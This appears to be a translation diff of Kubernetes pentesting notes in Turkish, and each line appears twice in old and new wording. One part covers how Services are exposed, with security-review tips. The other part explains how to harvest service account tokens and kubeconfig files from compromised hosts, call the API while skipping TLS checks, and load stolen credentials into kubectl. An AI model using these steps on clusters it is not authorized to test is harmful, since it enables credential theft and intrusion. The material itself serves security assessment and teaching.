Tüm NodePortları listele:
Tüm NodePortsu listele:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
@@ -81,41 +81,42 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
Eğer yaml içinde **nodePort** belirtmezseniz (açılacak port budur), **3000032767 aralığında** bir port kullanılacaktır.
Eğer yaml içinde **nodePort** belirtmezseniz (bu, açılacak porttur), **3000032767 aralığından bir port kullanılacaktır**.
NodePort veya LoadBalancer Services incelerken, traffic-policy alanlarını da kontrol edin; çünkü bunlar, belirli bir kaynaktan hangi nodeların ve backendlerin kullanılabilir olduğunu değiştirir:
NodePort veya LoadBalancer Services incelerken, traffic-policy alanlarını da kontrol edin çünkü bunlar, belirli bir kaynaktan hangi node'ların ve backend'lerin kullanışlı olduğunu değiştirir:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` gerçek istemci source IPsini NodePort/LoadBalancer trafiği için korur ve trafiği diğer nodelar üzerindeki endpointse yönlendirmekten kaçınır. Local hazır bir endpoint olmayan bir node, Servicein başka yerlerde endpointsi olsa bile trafiği drop edebilir.
- `externalTrafficPolicy: Cluster` varsayılandır ve herhangi bir node üzerinden forward edebilir, ancak backend logları gerçek external client IP yerine node IPlerini görebilir.
- `internalTrafficPolicy: Local` cluster içi Service trafiğini source node üzerindeki local endpoints ile sınırlar. Bu locality routingdir, authorization boundary değildir.
- `sessionAffinity: ClientIP` bir clienttan yapılan tekrarlı testlerin aynı backende düşmesini sağlayabilir ve manuel kontroller sırasında diğer hazır endpointsi gizleyebilir.
- `trafficDistribution` ve EndpointSlice topology hints, yeni clusters üzerinde aynı-zone veya aynı-node endpointsi tercih edebilir; bunları hard security policy yerine routing preference olarak değerlendirin.
- NodePortlar normalde node adreslerinde expose edilir, ancak kube-proxy, `--nodeport-addresses` veya kendi configuration içindeki `nodePortAddresses` ile address aralıklarını kısıtlayabilir. NodePortun her node IPsinde reachable olduğunu varsaymadan önce aktif kube-proxy veya CNI service-proxy replacement configuration’ını kontrol edin.
- `externalTrafficPolicy: Local`, NodePort/LoadBalancer traffic için orijinal client source IPsini korur ve diğer nodelardaki endpointse forwarding yapmaz. Local ready endpointi olmayan bir node, Servicein başka yerlerde endpointsi olsa bile traffici drop edebilir.
- `externalTrafficPolicy: Cluster` defaulttur ve herhangi bir node üzerinden forward edebilir, ancak backend logs gerçek external client IPsi yerine node IPlerini görebilir.
- `internalTrafficPolicy: Local`, cluster içi Service trafficini source node üzerindeki local endpoints ile sınırlar. Bu, locality routingdir; authorization boundary değildir.
- `sessionAffinity: ClientIP`, tek bir clienttan yapılan tekrar eden testlerin aynı backende gitmesine neden olabilir ve manuel checks sırasında diğer ready endpointsi gizleyebilir.
- `trafficDistribution` ve EndpointSlice topology hints, yeni clustersta aynı-zone veya aynı-node endpointsi tercih edebilir; bunları hard security policy yerine routing preference olarak değerlendirin.
### LoadBalancer
Servicei harici olarak **cloud provider'ın load balancer'ını kullanarak** açar. GKE üzerinde bu, tüm trafi serviceinize forward edecek tek bir IP address sağlayan bir [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) başlatır. AWSde ise bir Load Balancer başlatır.
Servicei dışarıya **bir cloud providerın load balancerını kullanarak** expose eder. GKEde bu, tüm traffici serviceinize forward edecek tek bir IP address sağlayan bir [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) başlatır. AWSde bir Load Balancer başlatır.
Açığa çıkarılan her service için bir LoadBalancer için ödeme yapmanız gerekir; bu pahalı olabilir.
Expose edilen her service için bir LoadBalancer için ödeme yapmanız gerekir; bu pahalı olabilir.
Tüm LoadBalancersları listeleyin:
Tüm LoadBalancers’ı listele:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs
> [!TIP]
> External IPs, Load Balancers tipindeki services tarafından expose edilir ve genellikle bir external Cloud Provider Load Balancer kullanıldığında kullanılır.
> External IPs, Load Balancers türündeki services tarafından expose edilir ve genellikle external Cloud Provider Load Balancer kullanıldığında kullanılır.
>
> Bunları bulmak için, `EXTERNAL-IP` alanında değerleri olan load balancer'ları kontrol edin.
> Bunları bulmak için, `EXTERNAL-IP` alanında değer olan load balancers'ları kontrol edin.
**external IP** ile cluster'a giren traffic, Service portunda, **Service endpoints**'ten birine **routed** edilir. `externalIPs`, Kubernetes tarafından yönetilmez ve cluster administrator'ın sorumluluğundadır.
Cluster içine **external IP** ile (**destination IP** olarak), Service portunda giren traffic, **Service endpoint'lerinden birine yönlendirilir**. `externalIPs`, Kubernetes tarafından yönetilmez ve cluster administrator'ının sorumluluğundadır.
`externalIPs`, hassas bir route-control alanıdır çünkü onu ayarlayabilen bir kullanıcı, çevredeki network bu IP'yi cluster'a route ediyorsa, Service sahibinin kontrol etmemesi gereken bir IP address için traffic'i sahiplenebilir. Kubernetes, v1.36'da Service `externalIPs` için deprecation ve planlanan removal duyurdu; bu yüzden mümkün olduğunda LoadBalancer integrations veya Gateway API gibi controller-owned exposure mekanizmalarını tercih edin ve bu alan var olmaya devam ederken onu dikkatle restrict/admit edin.
`externalIPs`, sensitive bir route-control alanıdır çünkü bunu ayarlayabilen bir user, çevredeki network bu IP'yi cluster'a route ediyorsa, Service owner'ının kontrol etmemesi gereken bir IP address için traffic talep edebilir. Kubernetes, v1.36'da Service `externalIPs` için deprecation ve planned removal duyurdu; bu yüzden mümkün olduğunda LoadBalancer integrations veya Gateway API gibi controller-owned exposure mechanisms tercih edin ve bu alanı hâlâ mevcutken dikkatlice restrict/admit edin.
Service spec içinde, `externalIPs`, herhangi bir `ServiceTypes` ile birlikte belirtilebilir. Aşağıdaki örnekte, "`my-service`", "`80.11.12.10:80`" (`externalIP:port`) üzerindeki clients tarafından erişilebilir.
Service spec içinde, `externalIPs` herhangi bir `ServiceTypes` ile birlikte belirtilebilir. Aşağıdaki örnekte, "`my-service`", "`80.11.12.10:80`" (`externalIP:port`) üzerindeki clients tarafından erişilebilir.
```yaml
apiVersion: v1
kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName türündeki Services, bir Service'i tipik bir selector olan `my-service` veya `cassandra` yerine bir DNS adına **map eder**. Bu Services'leri `spec.externalName` parametresiyle belirtirsiniz.
[**Dokümanlardan:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName tipindeki Services, tipik bir selector olan `my-service` veya `cassandra` yerine, bir Servicei bir DNS adına **map eder**. Bu Servicesleri `spec.externalName` parametresi ile belirtirsiniz.
Örneğin, bu Service tanımı `prod` namespace'indeki `my-service` Service'ini `my.database.example.com` adresine map eder:
Örneğin, bu Service tanımı `prod` namespaceindeki `my-service` Serviceini `my.database.example.com` adresine map eder:
```yaml
apiVersion: v1
kind: Service
@@ -147,32 +148,34 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Ana makine `my-service.prod.svc.cluster.local` sorgulandığında, cluster DNS Service `my.database.example.com` değerine sahip bir `CNAME` kaydı döndürür. `my-service`e erişmek, diğer Services ile aynı şekilde çalışır; ancak kritik fark, **yönlendirme proxying veya forwarding ile değil, DNS seviyesinde gerçekleşir**.
`my-service.prod.svc.cluster.local` hostuna bakıldığında, cluster DNS Service `my.database.example.com` değerine sahip bir `CNAME` kaydı döndürür. `my-service`e erişim, diğer Services ile aynı şekilde çalışır ancak kritik fark şudur: **yönlendirme proxying veya forwarding ile değil, DNS seviyesinde gerçekleşir**.
Tüm ExternalNames listesini verin:
Security review notu: bir Ingress controller, Gateway implementation, service mesh veya application bir ExternalName Service'i backend olarak kabul ederse, controller kendi network konumundan external name'i resolve edip erişebilir. Bu, kullanıcılar hem route object'i hem de ExternalName Service'i oluşturabildiğinde internal-only services'i public routing infrastructure üzerinden açığa çıkarabilir. Bunu güvenli varsaymadan önce belirli controller implementation ve version'ını, ExternalName support flags veya allowlists, route status ve tam target domain'i inceleyin. Örneğin, Skipper v0.24.0'da ExternalName backend'lerini varsayılan olarak devre dışı bırakarak ve bir allowlist seçeneğini belgeleyerek bir Kubernetes ExternalName SSRF issue'sunu yamaladı.
Tüm ExternalName'leri listele:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices, bir Servicein şu anda yönlendirme yaptığı somut backend adreslerini ve portlarını gösterir. Özellikle bir Servicein selectorı yoksa, labels trafik yolunu açıklamıyorsa veya yalnızca bazı backendler hazırsa faydalıdır.
EndpointSlices, bir Servicein şu anda yönlendirdiği somut backend address ve portları gösterir. Özellikle bir Servicein selectorü olmadığında, labels trafik yolunu açıklamadığında veya yalnızca bazı backendler ready olduğunda kullanışlıdır.
Servicelerle ilişkili EndpointSlicesları listele:
Services ile ilişkili EndpointSlicesları listele:
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
Exposureu incelerken, Service selector’ını EndpointSlice `targetRef`, endpoint addresses, readiness conditions ve ports ile karşılaştırın. Selectorless bir Service, manuel olarak yönetilen EndpointSlicelarla eşleştirilebilir ve trafiği non-Pod veya beklenmedik hedeflere yönlendirebilir.
Exposure incelemesi yaparken, Service selector ile EndpointSlice `targetRef`, endpoint addresses, readiness conditions ve ports öğelerini karşılaştırın. selectorless bir Service, elle yönetilen EndpointSlices ile eşleştirilebilir ve trafiği non-Pod ya da beklenmedik destination'lara yönlendirebilir.
### Ingress
Yukarıdaki tüm örneklerden farklı olarak, **Ingress bir service türü DEĞİLDİR**. Bunun yerine, **birden fazla servicein önünde** yer alır ve clusterınıza giriş noktası veya “smart router” olarak hareket eder.
Yukarıdaki tüm örneklerden farklı olarak, **Ingress bir service tipi DEĞİLDİR**. Bunun yerine, **birden fazla service'in önünde** durur ve cluster'ınıza giriş noktası olarak bir “smart router” gibi davranır.
Ingress ile birçok farklı şey yapabilirsiniz ve **farklı yeteneklere sahip birçok Ingress controller türü** vardır.
Ingress ile birçok farklı şey yapabilirsiniz ve **farklı yeteneklere sahip birçok Ingress controller tipi vardır**.
Default GKE ingress controller sizin için bir [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) başlatır. Bu, path bazlı ve subdomain bazlı routingi backend servicese yapmanıza olanak tanır. Örneğin, foo.yourdomain.com altındaki her şeyi foo serviceine, yourdomain.com/bar/ pathi altındaki her şeyi bar serviceine gönderebilirsiniz.
Varsayılan GKE ingress controller, sizin için bir [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) başlatır. Bu, backend services'e path based ve subdomain based routing yapmanızı sağlar. Örneğin, foo.yourdomain.com üzerindeki her şeyi foo service'e, yourdomain.com/bar/ path'i altındaki her şeyi de bar service'e gönderebilirsiniz.
GKE üzerinde bir [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kullanan bir Ingress object için YAML şöyle görünebilir:
```yaml
@@ -208,37 +211,46 @@ name: bar
port:
number: 8080
```
Tüm ingressleri listele:
Tüm ingress'leri listeleyin:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Her ne kadar bu durumda her birinin bilgisini tek tek almak, daha iyi okumak için daha iyi olsa da:
Her ne kadar bu durumda, daha iyi okumak için her birinin bilgisini tek tek almak daha iyi olsa da:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API, Servicesi dışa açmak için kullanılan daha yeni Kubernetes APIsidir. Infrastructure-owned Gateway nesnelerini, HTTPRoute gibi application-owned Route nesnelerinden ayırır. Bu, delegation için faydalıdır; ancak exposureın namespaceler arasında bölünebilmesi anlamına da gelir.
Gateway API, Services'i dışa açmak için kullanılan daha yeni Kubernetes API'sidir. Altyapı sahibi Gateway nesnelerini, HTTPRoute gibi uygulama sahibi Route nesnelerinden ayırır. Bu, delegation için faydalıdır, ancak aynı zamanda exposure'ın namespace'ler arasında bölünebileceği anlamına gelir.
Gateway API exposure objectslarını listeleyin:
Gateway API exposure nesnelerini listeleyin:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, ve status conditions such as whether the route was accepted. Shared bir Gateway tarafından accepted edilen bir Route, legacy Ingress object olmasa bile bir backendi expose edebilir.
Gateway listeners, allowed route namespaces, Route `parentRefs`, hostname'ler veya SNI eşleşmeleri, filters, backend references ve `Accepted`, `ResolvedRefs` ile `Programmed` gibi status conditions'ları kontrol edin. Paylaşılan bir Gateway tarafından accepted edilen bir Route, legacy bir Ingress object olmasa bile bir backend'i expose edebilir.
Sadece HTTPRoute'u kontrol etmeyin. GRPCRoute, TLSRoute, TCPRoute ve UDPRoute; admin portlar, brokers, databases, service-mesh gateways veya pass-through TLS backends gibi HTTP olmayan service'leri expose edebilir. Ayrıca namespace'ler arası backend veya certificate references için `ReferenceGrant` object'lerini ve Gateway'in backend Services'e bağlanırken kullandığı TLS identity için `BackendTLSPolicy`'yi de inceleyin. Backend TLS policy tek başına public reachability kanıtı değildir, ancak programmed bir Gateway route'unun ready bir Service'e zayıf, shared veya yanlış backend identity validation ile ulaştığını gösteren yararlı bir kanıttır.
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,24 +4,24 @@
## Kubernetes Tokens
Eğer compromised olmuş bir makineye erişiminiz varsa, kullanıcı bazı Kubernetes platformlarına erişime sahip olabilir. Token genellikle **env var `KUBECONFIG`** tarafından işaret edilen bir dosyada veya **`~/.kube`** içinde bulunur.
Eğer bir makineye yetkisiz erişim sağladıysanız, kullanıcı bazı Kubernetes platformlarına erişime sahip olabilir. Token genellikle **env var `KUBECONFIG`** tarafından işaret edilen bir dosyada ya da **`~/.kube` içinde** bulunur.
Bu klasörde, **API servera bağlanmak için tokenlar ve configurations** içeren config dosyaları bulabilirsiniz. Ayrıca bu klasörde daha önce alınmış bilgileri içeren bir cache klasörü de bulabilirsiniz.
Bu klasörde, **API server**a bağlanmak için **tokens ve configurations** içeren config dosyaları bulabilirsiniz. Ayrıca bu klasörde daha önce alınmış bilgileri içeren bir cache klasörü de bulabilirsiniz.
Eğer Kubernetes ortamı içindeki bir podu compromised ettiyseniz, mevcut K8 env için token ve bilgi bulabileceğiniz başka yerler de vardır:
Bir kubernetes ortamı içindeki bir podu ele geçirdiyseniz, mevcut K8 env hakkında tokenlar ve bilgi bulabileceğiniz başka yerler de vardır:
### Service Account Tokens
Devam etmeden önce, Kuberneteste bir servicein ne olduğunu bilmiyorsanız, **bu linki takip edip en azından Kubernetes architecture hakkındaki bilgileri okumanızı öneririm.**
Devam etmeden önce, Kuberneteste servicein ne olduğunu bilmiyorsanız, **bu linki takip edip en azından Kubernetes architecture hakkındaki bilgileri okumanızı** öneririm.
Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)dan alınmıştır:
Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) kaynağından alınmıştır:
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount**, Kubernetes tarafından yönetilen ve pod içinde çalışan processlere bir identity sağlamak için kullanılan bir objecttir.\
Her service accountun ona bağlı bir secret’ı vardır ve bu secret bir bearer token içerir. Bu, iki taraf arasında claimsi güvenli şekilde temsil etme yöntemi olan bir JSON Web Token (JWT)dır.
**ServiceAccount**, Kubernetes tarafından yönetilen ve bir pod içinde çalışan processlere kimlik sağlamak için kullanılan bir objecttir.\
Her service accountun onunla ilişkili bir secret’ı vardır ve bu secret bir bearer token içerir. Bu, iki taraf arasında claimsi güvenli şekilde temsil etme yöntemlerinden biri olan JSON Web Token (JWT)dir.
Genellikle aşağıdaki dizinlerden **biri**:
Genellikle şu dizinlerden **biri**:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
@@ -29,25 +29,25 @@ Genellikle aşağıdaki dizinlerden **biri**:
şu dosyaları içerir:
- **ca.crt**: kubernetes communicationsı kontrol etmek için ca certificate
- **ca.crt**: kubernetes communicationsi kontrol etmek için kullanılan ca certificate
- **namespace**: mevcut namespacei belirtir
- **token**: mevcut podun **service token**’ını içerir
- **token**: mevcut podun **service token**’ını içerir.
Artık tokena sahip olduğunuza göre, API server’ı **`KUBECONFIG`** environment variable’ı içinde bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** komutunu çalıştırın
Artık tokena sahip olduğunuza göre, **`KUBECONFIG`** environment variable içinde API server’ı bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** çalıştırın
Service account token, **sa.key** dosyasında bulunan key ile imzalanır ve **sa.pub** tarafından doğrulanır.
**Kubernetes** üzerindeki varsayılan konum:
**Kubernetes** üzerinde varsayılan konum:
- /etc/kubernetes/pki
**Minikube** üzerindeki varsayılan konum:
**Minikube** üzerinde varsayılan konum:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ privileged bir service account token içeren podstur. Privileged service account token, secrets listeleme, pod oluşturma vb. privileged görevleri yapma iznine sahip olan tokendır.
_**Hot pods are**_ privileged bir service account token içeren podlardır. Privileged service account token, secrets listelemek, pod oluşturmak vb. privileged görevleri yapma iznine sahip bir tokendir.
## RBAC
@@ -55,35 +55,35 @@ Eğer **RBAC** ne olduğunu bilmiyorsanız, **bu bölümü okuyun**.
## GUI Applications
- **k9s**: terminalden bir kubernetes cluster’ını enumerate eden bir GUI. Komutlar için[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) kontrol edin. `:namespace` yazın ve ardından tüm namespacelerde resourceları aramak için all seçin.
- **k8slens**: birkaç ücretsiz deneme günü sunar: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: terminalden bir kubernetes cluster’ını enumerate eden bir GUI. Komutlar için [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) kontrol edin. `:namespace` yazın ve tüm namespacelerde resourceları aramak için select all yapın.
- **k8slens**: Bazı ücretsiz deneme günleri sunar: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
Bir K8s ortamını enumerate etmek için birkaç şeye ihtiyacınız vardır:
Bir K8s environmentını enumerate etmek için birkaç şeye ihtiyacınız vardır:
- Geçerli bir authentication token. Önceki bölümde bir user token ve bir service account token nerede aranacağını gördük.
- Kubernetes APIsinin **adresi (**_**https://host:port**_**) . Bu genellikle environment variables içinde ve/veya kube config dosyasında bulunabilir.
- **Opsiyonel**: API server’ı doğrulamak için **ca.crt**. Bu, token’ın bulunabildiği aynı yerlerde bulunabilir. API server certificate’ını doğrulamak için kullanışlıdır, ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanırsanız buna ihtiyacınız olmaz.
- Bir **valid authentication token**. Önceki bölümde kullanıcı token’ı ve service account token’ı için nerede arama yapacağımızı gördük.
- Kubernetes APInin **address (**_**https://host:port**_**)i**. Bu genellikle environment variables içinde ve/veya kube config dosyasında bulunabilir.
- **Optional**: API server’ı doğrulamak için **ca.crt**. Bu, token’ın bulunabildiği aynı yerlerde bulunabilir. Bu, API server certificate’ını doğrulamak için faydalıdır; ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanırsanız buna ihtiyaç duymazsınız.
Bu detaylarla **kubernetes enumerate** edebilirsiniz. Eğer herhangi bir nedenle **API**, **Internet** üzerinden **erişilebilir** durumdaysa, o bilgiyi indirip platformu kendi hostunuzdan enumerate edebilirsiniz.
Bu detaylarla **kubernetes**i enumerate edebilirsiniz. Eğer **API** bir şekilde **Internet** üzerinden **erişilebilir** durumdaysa, bu bilgiyi indirip platformu kendi hostunuzdan enumerate edebilirsiniz.
Ancak genellikle **API server internal network** içindedir, bu nedenle ona kendi makinenizden erişmek için compromised makine üzerinden bir **tunnel oluşturmanız** gerekir ya da [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarysini **upload** edebilir veya API servera raw HTTP requests yapmak için **`curl/wget/anything`** kullanabilirsiniz.
Ancak genellikle **API server** dahili bir network içindedir; bu nedenle ona kendi makinenizden erişmek için ele geçirilmiş makine üzerinden bir **tunnel** oluşturmanız gerekir ya da **kubectl** binarysini yükleyebilir veya API servera ham HTTP requestleri göndermek için **`curl/wget/anything`** kullanabilirsiniz.
### Differences between `list` and `get` verbs
**`get`** permissions ile belirli assetlerin bilgilerine erişebilirsiniz (_`kubectl`_ içindeki `describe` optionu_) API:
**`get`** permissions ile belirli assets hakkındaki bilgilere erişebilirsiniz (_`kubectl` içindeki `describe` optionu_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Eğer **`list`** iznine sahipseniz, bir asset türünü listelemek için API istekleri çalıştırmanıza izin verilir (_`kubectl` içinde `get` seçeneği_):
Eğer **`list`** izniniz varsa, bir varlık türünü listelemek için API istekleri yapmanıza izin verilir (_`kubectl`_ içindeki `get` seçeneği_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Eğer **`watch`** izniniz varsa, varlıkları izlemek için API istekleri gerçekleştirebilirsiniz:
Eğer **`watch`** iznine sahipseniz, varlıkları izlemek için API istekleri yapmanıza izin verilir:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
Bir Deployment değiştiğinde (veya yenisi oluşturulduğunda) size tam manifesti döndüren bir streaming connection açarlar.
Değiştiğinde (veya yeni bir tane oluşturulduğunda) size bir Deployment’ın tam manifestini döndüren bir streaming connection açarlar.
> [!CAUTION]
> Aşağıdaki `kubectl` komutları yalnızca objeleri nasıl listeleyeceğinizi gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmanız gerekir
> Aşağıdaki `kubectl` commands, yalnızca objects nasıl listelenir onu gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmanız gerekir
### Using curl
Bir pod içinden birkaç env variable kullanabilirsiniz:
Bir pod içinden birkaç env variables kullanabilirsiniz:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Varsayılan olarak pod, **`kubernetes.default.svc`** domain name içinde **kube-api server**'a **access** edebilir ve kube network'ünü **`/etc/resolv.config`** içinde görebilirsiniz; burada kubernetes DNS server adresini bulursunuz (aynı aralığın ".1" adresi kube-api endpoint'dir).
> Varsayılan olarak pod, alan adı **`kubernetes.default.svc`** içinde **kube-api server**a **erişebilir** ve kube networkü **`/etc/resolv.config`** içinde görebilirsiniz; burada kubernetes DNS server adresini bulacaksınız (aynı aralığın ".1" adresi kube-api endpointidir).
### Using kubectl
Token ve API server address'e sahip olduktan sonra, aşağıda belirtildiği gibi ona access etmek için kubectl veya curl kullanırsınız:
Token ve API server adresine sahip olduğunuzda, burada gösterildiği gibi ona erişmek için kubectl veya curl kullanırsınız:
Varsayılan olarak, APISERVER `https://` schema ile iletişim kurar
Varsayılan olarak, APISERVER `https://` schema ile iletişim kuruyor
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> url'de `https://` yoksa, Bad Request gibi bir Hata alabilirsiniz.
Bir [**official kubectl cheatsheet burada**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) bulabilirsiniz. Aşağıdaki bölümlerin amacı, erişim sağladığınız yeni K8s'i enumerate etmek ve anlamak için farklı seçenekleri sıralı bir şekilde sunmaktır.
Bir [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) bulabilirsiniz. Aşağıdaki bölümlerin amacı, erişim elde ettiğiniz yeni K8s'i enumerate etmek ve anlamak için farklı seçenekleri sıralı bir şekilde sunmaktır.
`kubectl`'in gönderdiği HTTP request'i bulmak için `-v=8` parametresini kullanabilirsiniz
`kubectl`'un gönderdiği HTTP request'i bulmak için `-v=8` parametresini kullanabilirsiniz
#### MitM kubectl - Proxyfying kubectl
```bash
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
Eğer bazı kullanıcıların kimlik bilgilerini çalmayı başardıysan, bunları şu tarz bir şeyle **yerel olarak yapılandırabilirsin**:
Eğer bazı kullanıcı kimlik bilgilerini çalmayı başardıysan, bunları aşağıdakine benzer bir şey kullanarak **yerel olarak yapılandırabilirsin**:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Desteklenen Kaynakları Getir
### Desteklenen Resources'ları Al
Bu bilgiyle listeleyebileceğiniz tüm servisleri bileceksiniz
Bu bilgiyle listeleyebileceğiniz tüm services'ları bileceksiniz
{{#tabs }}
{{#tab name="kubectl" }}
@@ -176,18 +176,44 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
### Kontrol edilmeye değer Object metadata
Bir object okuyabildiğinde, yalnızca tablo çıktısına veya `describe`'a güvenmek yerine tam YAML ya da JSON export et. En faydalı security context, çoğu zaman farklı resource türlerinde bulunan genel object alanlarında yer alır:
Bir object'i okuyabildiğinizde, yalnızca tablo çıktısına veya `describe`'a güvenmek yerine tam YAML veya JSON export edin. En faydalı security bağlamı çoğu zaman birçok resource type'ta ortak olan genel object alanlarında bulunur:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
